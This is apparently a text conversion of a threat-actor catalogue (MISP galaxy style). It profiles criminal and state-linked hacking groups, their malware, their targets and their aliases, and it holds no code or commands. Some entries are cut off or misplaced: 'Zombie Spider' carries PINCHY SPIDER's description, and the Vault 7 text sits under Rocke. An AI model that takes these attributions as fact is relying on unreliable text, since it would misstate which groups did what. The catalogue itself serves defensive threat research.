• GOLD ULRICK

Table 5085. Table References

Links
WIZARD SPIDER

Wizard Spider is reportedly associated with Grim Spider and Lunar Spider. The WIZARD SPIDER threat group is the Russia-based operator of the TrickBot banking malware. This group represents a growing criminal enterprise of which GRIM SPIDER appears to be a subset. The LUNAR SPIDER threat group is the Eastern European-based operator and developer of the commodity banking malware called BokBot (aka IcedID), which was first observed in April 2017. The BokBot malware provides LUNAR SPIDER affiliates with a variety of capabilities to enable credential theft and wire fraud, through the use of webinjests and a malware distribution function. GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past.

MUMMY SPIDER

MUMMY SPIDER is a criminal entity linked to the core development of the malware most
commonly known as Emotet or Geodo. First observed in mid-2014, this malware shared code with the Bugat (aka Feodo) banking Trojan. However, MUMMY SPIDER swiftly developed the malware’s capabilities to include an RSA key exchange for command and control (C2) communication and a modular architecture. MUMMY SPIDER does not follow typical criminal behavioral patterns. In particular, MUMMY SPIDER usually conducts attacks for a few months before ceasing operations for a period of between three and 12 months, before returning with a new variant or version. After a 10 month hiatus, MUMMY SPIDER returned Emotet to operation in December 2016 but the latest variant is not deploying a banking Trojan module with web injects, it is currently acting as a ‘loader’ delivering other malware packages. The primary modules perform reconnaissance on victim machines, drop freeware tools for credential collection from web browsers and mail clients and a spam plugin for self-propagation. The malware is also issuing commands to download and execute other malware families such as the banking Trojans Dridex and Qakbot. MUMMY SPIDER advertised Emotet on underground forums until 2015, at which time it became private. Therefore, it is highly likely that Emotet is operate

Cold River

In short, “Cold River” is a sophisticated threat (actor) that utilizes DNS subdomain hijacking, certificate spoofing, and covert tunneled command and control traffic in combination with complex and convincing lure documents and custom implants.

The tag is: `misp-galaxy:threat-actor="Cold River"`

Cold River is also known as:

- Nahr Elbard
- Nahr el bared

Silence group

a relatively new threat actor that’s been operating since mid-2016 Group-IB has exposed the attacks committed by Silence cybercriminal group. While the gang had previously targeted Russian banks, Group-IB experts also have discovered evidence of the group's activity in more than 25 countries worldwide. Group-IB has published its first detailed report on tactics and tools employed by Silence. Group-IB security analysts' hypothesis is that at least one of the gang members appears to be a former or current employee of a cyber security company. The confirmed damage from Silence activity is estimated at 800 000 USD. Silence is a group of Russian-speaking hackers, based on their commands language, the location of infrastructure they used, and the geography of their targets (Russia, Ukraine, Belarus, Azerbaijan, Poland, and Kazakhstan). Although phishing emails were also sent to bank employees in Central and Western Europe, Africa, and Asia). Furthermore, Silence used Russian words typed on an English keyboard layout for the commands of the employed backdoor. The hackers also used Russian-language web hosting services.

The tag is: `misp-galaxy:threat-actor="Silence group"`

Silence group is also known as:

- Silence
- Silence APT group
- WHISPER SPIDER
APT39 was created to bring together previous activities and methods used by this actor, and its activities largely align with a group publicly referred to as “Chafer.” However, there are differences in what has been publicly reported due to the variances in how organizations track activity. APT39 primarily leverages the SEAWEED and CACHEMONEY backdoors along with a specific variant of the POWBAT backdoor. While APT39's targeting scope is global, its activities are concentrated in the Middle East. APT39 has prioritized the telecommunications sector, with additional targeting of the travel industry and IT firms that support it and the high-tech industry.

The tag is: `misp-galaxy:threat-actor="APT39"`

APT39 is also known as:

- APT 39
- Chafer
- REMIX KITTEN
- COBALT HICKMAN

**Siesta**

FireEye recently looked deeper into the activity discussed in TrendMicro’s blog and dubbed the “Siesta” campaign. The tools, modus operandi, and infrastructure used in the campaign present two possibilities: either the Chinese cyber-espionage unit APT1 is perpetrating this activity, or another group is using the same tactics and tools as the legacy APT1. The Siesta campaign reinforces the fact
that analysts and network defenders should remain on the lookout for known, public indicators and for shared attributes that allow security experts to detect multiple actors with one signature.

The tag is: `misp-galaxy:threat-actor="Siesta"`

### Gallmaker

Symantec researchers have uncovered a previously unknown attack group that is targeting government and military targets, including several overseas embassies of an Eastern European country, and military and defense targets in the Middle East. This group eschews custom malware and uses living off the land (LotL) tactics and publicly available hack tools to carry out activities that bear all the hallmarks of a cyber espionage campaign. The group, which we have given the name Gallmaker, has been operating since at least December 2017, with its most recent activity observed in June 2018.

The tag is: `misp-galaxy:threat-actor="Gallmaker"`

### Boss Spider

Throughout 2018, CrowdStrike Intelligence tracked BOSS SPIDER as it regularly updated Samas ransomware and received payments to known Bitcoin (BTC) addresses. This consistent pace of activity came to an abrupt halt at the end of November 2018 when the U.S. DoJ released an indictment for Iran-based individuals Faramarz Shahi Savandi and Mohammad Mehdi Shah Mansouri, alleged members of the group.

The tag is: `misp-galaxy:threat-actor="Boss Spider"`

Boss Spider is also known as:

- GOLD LOWELL

**Pinchy Spider**

First observed in January 2018, GandCrab ransomware quickly began to proliferate and receive regular updates from its developer, PINCHY SPIDER, which over the course of the year established a RaaS operation with a dedicated set of affiliates. CrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes PINCHY SPIDER and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as “big game hunting.” PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but PINCHY SPIDER is also willing to negotiate up to a 70-30 split for “sophisticated” customers.

The tag is: `misp-galaxy:threat-actor="Pinchy Spider"`

**Guru Spider**

Early in 2018, CrowdStrike Intelligence observed GURU SPIDER supporting the distribution of multiple crimeware families through its flagship malware loader, Quant Loader.

The tag is: `misp-galaxy:threat-actor="Guru Spider"`

**Salty Spider**

Beginning in January 2018 and persisting through the first half of the year, CrowdStrike Intelligence observed SALTY SPIDER, developer and operator of the long-running Sality botnet, distribute malware designed to target cryptocurrency users.

The tag is: `misp-galaxy:threat-actor="Salty Spider"`
Nomad Panda

In the first quarter of 2018, CrowdStrike Intelligence identified NOMAD PANDA activity targeting Central Asian nations with exploit documents built with the 8.t tool.

The tag is: `misp-galaxy:threat-actor="Nomad Panda"`

Flash Kitten

This suspected Iran-based adversary conducted long-running SWC campaigns from December 2016 until public disclosure in July 2018. Like other Iran-based actors, the target scope for FLASH KITTEN appears to be focused on the MENA region.

The tag is: `misp-galaxy:threat-actor="Flash Kitten"`

Skeleton Spider

According to CrowdStrike, this actor is using FrameworkPOS, potentially buying access through Dridex infections.

The tag is: `misp-galaxy:threat-actor="Skeleton Spider"`

Tiny Spider

According to CrowdStrike, this actor is using TinyLoader and TinyPOS, potentially buying access through Dridex infections.

The tag is: `misp-galaxy:threat-actor="Tiny Spider"`
Lunar Spider

According to CrowdStrike, this actor is using BokBok/IcedID, potentially buying distribution through Emotet infections. On March 17, 2019, CrowdStrike Intelligence observed the use of a new BokBot (developed and operated by LUNAR SPIDER) proxy module in conjunction with TrickBot (developed and operated by WIZARD SPIDER), which may provide WIZARD SPIDER with additional tools to steal sensitive information and conduct fraudulent wire transfers. This activity also provides further evidence to support the existence of a flourishing relationship between these two actors. Lunar Spider is reportedly associated with Grim Spider and Wizard Spider.

The tag is: `misp-galaxy:threat-actor="Lunar Spider"`

Lunar Spider is also known as:

• GOLD SWATHMORE

Ratpak Spider

In July 2018, the source code of Pegasus, RATPAK SPIDER's malware framework, was anonymously leaked. This malware has been linked to the targeting of Russia's financial sector. Associated malware, Buhtrap, which has been leaked previously, was observed this year in connection with SWC campaigns that also targeted Russian users.

The tag is: `misp-galaxy:threat-actor="Ratpak Spider"`

Operation Kabar Cobra

The tag is: `misp-galaxy:threat-actor="Operation Kabar Cobra"`
APT-C-36

Since April 2018, an APT group (Blind Eagle, APT-C-36) suspected coming from South America carried out continuous targeted attacks against Colombian government institutions as well as important corporations in financial sector, petroleum industry, professional manufacturing, etc.

The tag is: `misp-galaxy:threat-actor="APT-C-36"`

APT-C-36 is also known as:

- Blind Eagle

IRIDIUM

Resecurity’s research indicates that the attack on Parliament is a part of a multi-year cyberespionage campaign orchestrated by a nation-state actor whom we are calling IRIDIUM. This actor targets sensitive government, diplomatic, and military resources in the countries comprising the Five Eyes intelligence alliance (which includes Australia, Canada, New Zealand, the United Kingdom and the United States)

The tag is: `misp-galaxy:threat-actor="IRIDIUM"`

SandCat

SandCat, on the other hand, is a group that was discovered more recently by Kaspersky. One of the Windows vulnerabilities patched by Microsoft in December had been exploited by both FruityArmor and SandCat in attacks targeting the Middle East and Africa. SandCat has been using FinFisher/FinSpy spyware and CHAINSHOT, a piece of malware analyzed earlier this year by Palo
Alto Networks. The group has also used the CVE-2018-8589 and CVE-2018-8611 Windows vulnerabilities in its attacks, both of which had a zero-day status when Microsoft released fixes.

The tag is: `misp-galaxy:threat-actor="SandCat"`

**Operation Comando**

Operation Comando is a pure cybercrime campaign, possibly with Brazilian origin, with a concrete and persistent focus on the hospitality sector, which proves how a threat actor can be successful in pursuing its objectives while maintaining a cheap budget. The use of DDNS services, publicly available remote access tools, and having a minimum knowledge on software development (in this case VB.NET) has been enough for running a campaign lasting month, and potentially gathering credit card information and other possible data.

The tag is: `misp-galaxy:threat-actor="Operation Comando"`

**APT-C-27**

On March 17, 2019, 360 Threat Intelligence Center captured a target attack sample against the Middle East by exploiting WinRAR vulnerability (CVE-2018-20250[6]), and it seems that the attack is carried out by the Goldmouse APT group (APT-C-27). There is a decoy Word document inside the archive regarding terrorist attacks to lure the victim into decompressing. When the archive gets decompressed on the vulnerable computer, the embedded njRAT backdoor (Telegram Desktop.exe) will be extracted to the startup folder and then triggered into execution if the victim restarts the computer or performs re-login. After that, the attacker is capable to control the compromised device.

The tag is: `misp-galaxy:threat-actor="APT-C-27"`

APT-C-27 is also known as:

- GoldMouse

Operation ShadowHammer

Newly discovered supply chain attack that leveraged ASUS Live Update software. The goal of the attack was to surgically target an unknown pool of users, which were identified by their network adapters’ MAC addresses. To achieve this, the attackers had hardcoded a list of MAC addresses in the trojanized samples and this list was used to identify the actual intended targets of this massive operation. We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack. Of course, there might be other samples out there with different MAC addresses in their list.

Whitefly

In July 2018, an attack on Singapore’s largest public health organization, SingHealth, resulted in a reported 1.5 million patient records being stolen. Until now, nothing was known about who was responsible for this attack. Symantec researchers have discovered that this attack group, which we call Whitefly, has been operating since at least 2017, has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information.

Sea Turtle

This blog post discusses the technical details of a state-sponsored attack manipulating DNS systems. While this incident is limited to targeting primarily national security organizations in the Middle East and North Africa, and we do not want to overstate the consequences of this specific campaign, we are concerned that the success of this operation will lead to actors more broadly attacking the global DNS system. DNS is a foundational technology supporting the Internet. Manipulating that system has the potential to undermine the trust users have on the internet. That trust and the stability of the DNS system as a whole drives the global economy. Responsible nations should avoid targeting this system, work together to establish an accepted global norm that this system and the organizations that control it are off-limits, and cooperate in pursuing those actors who act irresponsibly by targeting this system.
Silent Librarian

Last Friday, Deputy Attorney General Rod Rosenstein announced the indictment of nine Iranians who worked for an organization named the Mabna Institute. According to prosecutors, the defendants stole more than 31 terabytes of data from universities, companies, and government agencies around the world. The cost to the universities alone reportedly amounted to approximately $3.4 billion. The information stolen from these universities was used by the Islamic Revolutionary Guard Corps (IRGC) or sold for profit inside Iran. PhishLabs has been tracking this same threat group since late-2017, designating them Silent Librarian. Since discovery, we have been working with the FBI, ISAC partners, and other international law enforcement agencies to help understand and mitigate these attacks.

Silent Librarian is also known as:

- COBALT DICKENS
- Mabna Institute
- TA407
APT31

FireEye characterizes APT31 as an actor specialized on intellectual property theft, focusing on data and projects that make a particular organization competitive in its field. Based on available data (April 2016), FireEye assesses that APT31 conducts network operations at the behest of the Chinese Government. Also according to Crowdstrike, this adversary is suspected of continuing to target upstream providers (e.g., law firms and managed service providers) to support additional intrusions against high-profile assets. In 2018, CrowdStrike observed this adversary using spear-phishing, URL “web bugs” and scheduled tasks to automate credential harvesting.

Blackgear

BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years. Multiple papers and talks have been released covering this campaign, which used the ELIRKS backdoor when it was first discovered in 2012. It is known for using blogs and microblogging services to hide the location of its actual command-and-control (C&C) servers. This allows an attacker to change the C&C server used quickly by changing the information in these posts. Like most campaigns, BLACKGEAR has evolved over time. Our research indicates that it has started targeting Japanese users. Two things led us to this conclusion: first, the fake documents that are used as part of its infection routines are now in Japanese. Secondly, it is now using blogging sites
and microblogging services based in Japan for its C&C activity.

The tag is: **misp-galaxy:threat-actor="Blackgear"**

**BlackTech**

BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on the mutexes and domain names of some of their C&C servers, BlackTech’s campaigns are likely designed to steal their target’s technology. Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear. PLEAD is an information theft campaign with a penchant for confidential documents. Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. PLEAD’s toolset includes the self-named PLEAD backdoor and the DRIGO exfiltration tool. PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also
used as drop off points for exfiltrated documents stolen by DRIGO. PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as virtual server. This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets.

The tag is: misp-galaxy:threat-actor="BlackTech"

BlackTech is also known as:

FIN1

FireEye first identified this activity during a recent investigation at an organization in the financial industry. They identified the presence of a financially motivated threat group that they track as FIN1, whose activity at the organization dated back several years. The threat group deployed numerous malicious files and utilities, all of which were part of a malware ecosystem referred to as ‘Nemesis’ by the malware developer(s), and used this malware to access the victim environment
and steal cardholder data. FIN1, which may be located in Russia or a Russian-speaking country based on language settings in many of their custom tools, is known for stealing data that is easily monetized from financial services organizations such as banks, credit unions, ATM operations, and financial transaction processing and financial business services companies.

</tr>
</tbody>
</table>

**FIN10**

FireEye has observed multiple targeted intrusions occurring in North America — predominately in Canada — dating back to at least 2013 and continuing through at least 2016, in which the attacker(s) have compromised organizations' networks and sought to monetize this illicit access by exfiltrating sensitive data and extorting victim organizations. In some cases, when the extortion demand was not met, the attacker(s) destroyed production Windows systems by deleting critical operating system files and then shutting down the impacted systems. Based on near parallel TTPs used by the attacker(s) across these targeted intrusions, we believe these clusters of activity are linked to a single, previously unobserved actor or group that we have dubbed FIN10.

**GhostNet**

Cyber espionage is an issue whose time has come. In this second report from the Information Warfare Monitor, we lay out the findings of a 10-month investigation of alleged Chinese cyber spying against Tibetan institutions. The investigation, consisting of fieldwork, technical scouting, and laboratory analysis, discovered a lot more. The investigation ultimately uncovered a network of over 1,295 infected hosts in 103 countries. Up to 30% of the infected hosts are considered high-value targets and include computers located at ministries of foreign affairs, embassies, international organizations, news media, and NGOs. The Tibetan computer systems we manually investigated, and from which our investigations began, were conclusively compromised by multiple infections that gave attackers unprecedented access to potentially sensitive information.

**Attacks on the Dalai Lama's Private Office**

The OHHDL started to suspect it was under surveillance while setting up meetings between His Holiness and foreign dignitaries. They sent an email invitation on behalf of His Holiness to a foreign diplomat, but before they could follow it up with a courtesy telephone call, the diplomat's office was contacted by the Chinese government and warned not to go ahead with the meeting. The Tibetans wondered whether a computer compromise might be the explanation; they called ONI Asia who called us. (Until May 2008, the first author was
employed on a studentship funded by the OpenNet Initiative and the second author was a principal investigator for ONI.)

GozNym

IBM X-Force Research uncovered a Trojan hybrid spawned from the Nymaim and Gozi ISFB malware. It appears that the operators of Nymaim have recompiled its source code with part of the Gozi ISFB source code, creating a combination that is being actively used in attacks against more than 24 U.S. and Canadian banks, stealing millions of dollars so far. X-Force named this new hybrid GozNym. The new GozNym hybrid takes the best of both the Nymaim and Gozi ISFB malware to create a powerful Trojan. From the Nymaim malware, it leverages the dropper’s stealth and persistence; the Gozi ISFB parts add the banking Trojan’s capabilities to facilitate fraud via infected Internet browsers. The end result is a new banking Trojan in the wild.

Group5

A threat actor using Iranian-language tools, Iranian hosting companies, operating from the Iranian IP space at times was observed targeting the Syrian opposition in an elaborately staged malware operation, Citizen Lab researchers reveal. The operation was first noticed in late 2015, when a member of the Syrian opposition flagged a suspicious email containing a PowerPoint slideshow, which led researchers to a watering hole website with malicious programs, malicious PowerPoint files, and Android malware. The threat actor was targeting Windows and Android devices of well-connected individuals in the Syrian opposition, researchers discovered. They called the actor
Group5, because it targets Syrian opposition after regime-linked malware groups, the Syrian Electronic Army, ISIS (also known as the Islamic State or ISIL), and a group linked to Lebanon did the same in the past.

The tag is: `misp-galaxy:threat-actor="Group5"`

### Honeybee

McAfee Advanced Threat Research analysts have discovered a new operation targeting humanitarian aid organizations and using North Korean political topics as bait to lure victims into opening malicious Microsoft Word documents. Our analysts have named this Operation Honeybee, based on the names of the malicious documents used in the attacks. Advanced Threat Research analysts have also discovered malicious documents authored by the same actor that indicate a tactical shift. These documents do not contain the typical lures by this actor, instead using Word compatibility messages to entice victims into opening them. The Advanced Threat Research team also observed a heavy concentration of the implant in Vietnam from January 15–17.

The tag is: `misp-galaxy:threat-actor="Honeybee"`

### Lucky Cat

A series of attacks, targeting both Indian military research and south Asian shipping organizations, demonstrate the minimum level of effort required to successfully compromise a target and steal sensitive information. The attackers use very simple malware, which required little development time or skills, in conjunction with freely available Web hosting, to implement a highly effective attack. It is a case of the attackers obtaining a maximum return on their investment. The attack shows how an intelligent attacker does not need to be particularly technically skilled in order to steal the information they are after. The attack begins, as is often the case, with an email sent to the victim. A malicious document is attached to the email, which, when loaded, activates the malware. The attackers use tailored emails to encourage the victim to open the email. For example, one email sent to an academic claimed to be a call for papers for a conference (CFP). The vast majority of the victims were based in India, with some in Malaysia. The victim industry was mostly military research and also shipping based in the Arabian and South China seas. In some instances the attackers appeared to have a clear goal, whereby specific files were retrieved from certain compromised computers. In other cases, the attackers used more of a ‘shotgun’ like approach,
copying every file from a computer. Military technologies were obviously the focus of one particular attack with what appeared to be source code stolen. 45 different attacker IP addresses were observed. Out of those, 43 were within the same IP address range based in Sichuan province, China. The remaining two were based in South Korea. The pattern of attacker connections implies that the IP addresses are being used as a VPN, probably in an attempt to render the attackers anonymous. The attacks have been active from at least April 2011 up to February 2012. The attackers are intelligent and focused, employing the minimum amount of work necessary for the maximum gain. They do not use zero day exploits or complicated threats, instead they rely on effective social engineering and lax security measures on the part of the victims.

**RTM**

There are several groups actively and profitably targeting businesses in Russia. A trend that we have seen unfold before our eyes lately is these cybercriminals’ use of simple backdoors to gain a foothold in their targets' networks. Once they have this access, a lot of the work is done manually, slowly getting to understand the network layout and deploying custom tools the criminals can use to steal funds from these entities. Some of the groups that best exemplify these trends are Buhtrap, Cobalt and Corkow. The group discussed in this white paper is part of this new trend. We call this new group RTM; it uses custom malware, written in Delphi, that we cover in detail in later sections. The first trace of this tool in our telemetry data dates back to late 2015. The group also makes use of several different modules that they deploy where appropriate to their targets. They are interested in users of remote banking systems (RBS), mainly in Russia and neighboring countries.

**Shadow Network**

Shadows in the Cloud documents a complex ecosystem of cyber espionage that systematically compromised government, business, academic, and other computer network systems in India, the Offices of the Dalai Lama, the United Nations, and several other countries. The report also contains an analysis of data which were stolen from politically sensitive targets and recovered during the course of the investigation. These include documents from the Offices of the Dalai Lama and agencies of the Indian national security establishment. Data containing sensitive information on
citizens of numerous third-party countries, as well as personal, financial, and business information, were also exfiltrated and recovered during the course of the investigation. The report analyzes the malware ecosystem employed by the Shadows’ attackers, which leveraged multiple redundant cloud computing systems, social networking platforms, and free web hosting services in order to maintain persistent control while operating core servers located in the People’s Republic of China (PRC). Although the identity and motivation of the attackers remain unknown, the report is able to determine the location (Chengdu, PRC) as well as some of the associations of the attackers through circumstantial evidence. The investigation is the product of an eight month, collaborative activity between the Information Warfare Monitor (Citizen Lab and SecDev) and the Shadowserver Foundation. The investigation employed a fusion methodology, combining technical interrogation techniques, data analysis, and field research, to track and uncover the Shadow cyber espionage network.

Slingshot

While analysing an incident which involved a suspected keylogger, we identified a malicious library able to interact with a virtual file system, which is usually the sign of an advanced APT actor. This turned out to be a malicious loader internally named ‘Slingshot’, part of a new, and highly sophisticated attack platform that rivals Project Sauron and Regin in complexity. While for most victims the infection vector for Slingshot remains unknown, we were able to find several cases where the attackers got access to MikroTik routers and placed a component downloaded by Winbox Loader, a management suite for MikroTik routers. In turn, this infected the administrator of the router. We believe this cluster of activity started in at least 2012 and was still active at the time of this analysis (February 2018).

Taidoor

The Taidoor attackers have been actively engaging in targeted attacks since at least March 4, 2009. Despite some exceptions, the Taidoor campaign often used Taiwanese IP addresses as C&C servers and email addresses to send out socially engineered emails with malware as attachments. One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government. The attackers spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues. The attackers actively sent out malicious documents and maintained several IP addresses for command and control. As part of
their social engineering ploy, the Taidoor attackers attach a decoy document to their emails that, when opened, displays the contents of a legitimate document but executes a malicious payload in the background. We were only able to gather a limited amount of information regarding the Taidoor attackers’ activities after they have compromised a target. We did, however, find that the Taidoor malware allowed attackers to operate an interactive shell on compromised computers and to upload and download files. In order to determine the operational capabilities of the attackers behind the Taidoor campaign, we monitored a compromised honeypot. The attackers issued out some basic commands in an attempt to map out the extent of the network compromise but quickly realized that the honeypot was not an intended targeted and so promptly disabled the Taidoor malware running on it. This indicated that while Taidoor malware were more widely distributed compared with those tied to other targeted campaigns, the attackers could quickly assess their targets and distinguish these from inadvertently compromised computers and honeypots.

[Unnamed group]

Over the last few weeks, several significant leaks regarding a number of Iranian APTs took place.
After analyzing and investigating the documents we conclude that they are authentic.
Consequently, this causes considerable harm to the groups and their operation. The identity of the
actor behind the leak is currently unknown, however based on the scope and the quality of the
exposed documents and information, it appears that they are professional and highly capable.
This leak will likely hamstring the groups’ operation in the near future. Accordingly, in our assessment
this will minimize the risk of potential attacks in the next few months and possibly even year.
Note -most of the leaks are posted on Telegram channels that were created specifically for this purpose.
Below are the three main Telegram groups on which the leaks were posted: Lab Dookhtegam pseudonym ("The people whose lips are stitched and sealed" –translation from Persian) –In this channel attack tools attributed to the group 'OilRig' were leaked; including a webshell that was inserted into the Technion, various tools that were used for DNS attacks, and more. Green Leakers–In this channel attack tools attributed to the group 'MuddyWatter' were leaked. The group’s name and its symbol are identified with the "green movement", which led the protests in Iran after the Presidential elections in 2009. These protests were heavily repressed by the revolutionary guards (IRGC) Black Box–Unlike the previous two channels this has been around for a long time. On Friday May 5th, dozens of confidential documents labeled as "secret" (a high confidentiality level in Iran, one before the highest -top secret) were posted on this channel. The documents were related to Iranian attack groups’ activity.

Dungeon Spider

DUNGEON SPIDER is a criminal group operating the ransomware most commonly known as Locky,
which has been active since February 2016 and was last observed in late 2017. Locky is a
ransomware tool that encrypts files using a combination of cryptographic algorithms: RSA with a
key size of 2,048 bits, and AES with a key size of 128 bits. Locky targets a large number of file extensions and is able to encrypt data on shared network drives. In an attempt to further impact victims and prevent file recovery, Locky deletes all of the Shadow Volume Copies on the machine. DUNGEON SPIDER primarily relies on broad spam campaigns with malicious attachments for distribution. Locky is the community/industry name associated with this actor.

The tag is: misp-galaxy:threat-actor="Dungeon Spider"

### Fxmsp

Throughout 2017 and 2018, Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground. Some of the known Fxmsp TTPs included accessing network environments via externally available remote desktop protocol (RDP) servers and exposed active directory. Most recently, the actor claimed to have developed a credential-stealing botnet capable of infecting high-profile targets in order to exfiltrate sensitive usernames and passwords. Fxmsp has claimed that developing this botnet and improving its capabilities for stealing information from secured systems is their main goal.

The tag is: misp-galaxy:threat-actor="Fxmsp"

### Gnosticplayers

The hacker said that he put up the data for sale mainly because these companies had failed to protect passwords with strong encryption algorithms like bcrypt. Most of the hashed passwords the hacker put up for sale today can cracked with various levels of difficulty --but they can be cracked. "I got upset because I feel no one is learning," the hacker told ZDNet in an online chat earlier today. "I just felt upset at this particular moment, because seeing this lack of security in 2019 is making me angry." In a conversation with ZDNet last month, the hacker told us he wanted to hack and put up for sale more than one billion records and then retire and disappear with the money. But in a conversation today, the hacker says this is not his target anymore, as he learned that other hackers have already achieved the same goal before him. Gnosticplayers also revealed that not all the data he obtained from hacked companies had been put up for sale. Some companies gave into extortion demands and paid fees so breaches would remain private. "I came to an agreement with some companies, but the concerned startups won't see their data for sale," he said. "I did it that's why I can't publish the rest of my databases or even name them."

The tag is: misp-galaxy:threat-actor="Gnosticplayers"
Hacking Team

The many 0-days that had been collected by Hacking Team and which became publicly available during the breach of their organization in 2015, have been used by several APT groups since. Since being founded in 2003, the Italian spyware vendor Hacking Team gained notoriety for selling surveillance tools to governments and their agencies across the world. The capabilities of its flagship product, the Remote Control System (RCS), include extracting files from a targeted device, intercepting emails and instant messaging, as well as remotely activating a device’s webcam and microphone. The company has been criticized for selling these capabilities to authoritarian governments – an allegation it has consistently denied. When the tables turned in July 2015, with Hacking Team itself suffering a damaging hack, the reported use of RCS by oppressive regimes was confirmed. With 400GB of internal data – including the once-secret list of customers, internal communications, and spyware source code – leaked online, Hacking Team was forced to request its customers to suspend all use of RCS, and was left facing an uncertain future. Following the hack, the security community has been keeping a close eye on the company’s efforts to get back on its feet. The first reports suggesting Hacking Team’s resumed operations came six months later – a new sample of Hacking Team’s Mac spyware was apparently in the wild. A year after the breach, an investment by a company named Tablem Limited brought changes to Hacking Team’s shareholder structure, with Tablem Limited taking 20% of Hacking Team’s shareholding. Tablem Limited is officially based in Cyprus; however, recent news suggests it has ties to Saudi Arabia.

The tag is: misp-galaxy:threat-actor="Hacking Team"

OurMine

OurMine is known for celebrity internet accounts, often causing cyber vandalism, to advertise their commercial services. (Trend Micro) In light of the recent report detailing its willingness to pay
US$250,000 in exchange for the 1.5 terabytes' worth of data swiped by hackers from its servers, HBO finds itself dealing with yet another security breach. Known for hijacking prominent social media accounts, the self-styled white hat hacking group OurMine took over a number of verified Twitter and Facebook accounts belonging to the cable network. These include accounts for HBO shows, such as “Game of Thrones,” “Girls,” and “Ballers.” This is not the first time that OurMine has claimed responsibility for hacking high-profile social networking accounts. Last year, the group victimized Marvel, The New York Times, and even the heads of some of the biggest technology companies in the world. Mark Zuckerberg, Jack Dorsey, Sundar Pichai, and Daniel Ek — the CEOs of Facebook, Twitter, Google and Spotify, respectively — have also fallen victim to the hackers, dispelling the notion that a career in software and technology exempts one from being compromised.

Pacha Group

Antd is a miner found in the wild on September 18, 2018. Recently we discovered that the authors from Antd are actively delivering newer campaigns deploying a broad number of components, most of them completely undetected and operating within compromised third party Linux servers. Furthermore, we have observed that some of the techniques implemented by this group are unconventional, and there is an element of sophistication to them. We believe the authors behind this malware are from Chinese origin. We have labeled the undetected Linux.Antd variants, Linux.GreedyAntd and classified the threat actor as Pacha Group.

Rocke

This threat actor initially came to our attention in April 2018, leveraging both Western and Chinese Git repositories to deliver malware to honeypot systems vulnerable to an Apache Struts vulnerability. In late July, we became aware that the same actor was engaged in another similar campaign. Through our investigation into this new campaign, we were able to uncover more details.
An unnamed source leaked almost 10,000 documents describing a large number of 0-day vulnerabilities, methodologies and tools that had been collected by the CIA. This leaking was done through WikiLeaks, since March 2017. In weekly publications, the dumps were said to come from Vault 7 and later Vault 8, until his arrest in 2018. Most of the published vulnerabilities have since been fixed by the respective vendors, by many have been used by other threat actors. This actor turned out to be a former CIA software engineer. (WikiLeaks) Today, Tuesday 7 March 2017, WikiLeaks begins its new series of leaks on the U.S. Central Intelligence Agency. Code-named "Vault 7" by WikiLeaks, it is the largest ever publication of confidential documents on the agency. The first full part of the series, "Year Zero", comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA's Center for Cyber Intelligence in Langley, Virgina. It follows an introductory disclosure last month of CIA targeting French political parties and candidates in the lead up to the 2012 presidential election. Recently, the CIA lost control of the majority of its hacking arsenal including malware, viruses, trojans, weaponized "zero day" exploits, malware remote control systems and associated documentation. This extraordinary collection, which amounts to more than several hundred million lines of code, gives its possessor the entire hacking capacity of the CIA. The archive appears to have been circulated among former U.S. government hackers and contractors in an unauthorized manner, one of whom has provided WikiLeaks with portions of the archive. "Year Zero" introduces the scope and direction of the CIA's global covert hacking program, its malware arsenal and dozens of "zero day" weaponized exploits against a wide range of U.S. and European company products, include Apple's iPhone, Google's Android and Microsoft's Windows and even Samsung TVs, which are turned into covert microphones.

Zombie Spider

CrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes PINCHY SPIDER and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as “big game hunting.” PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but PINCHY SPIDER is also willing to negotiate up to a 70-30 split for “sophisticated” customers.

ViceLeaker

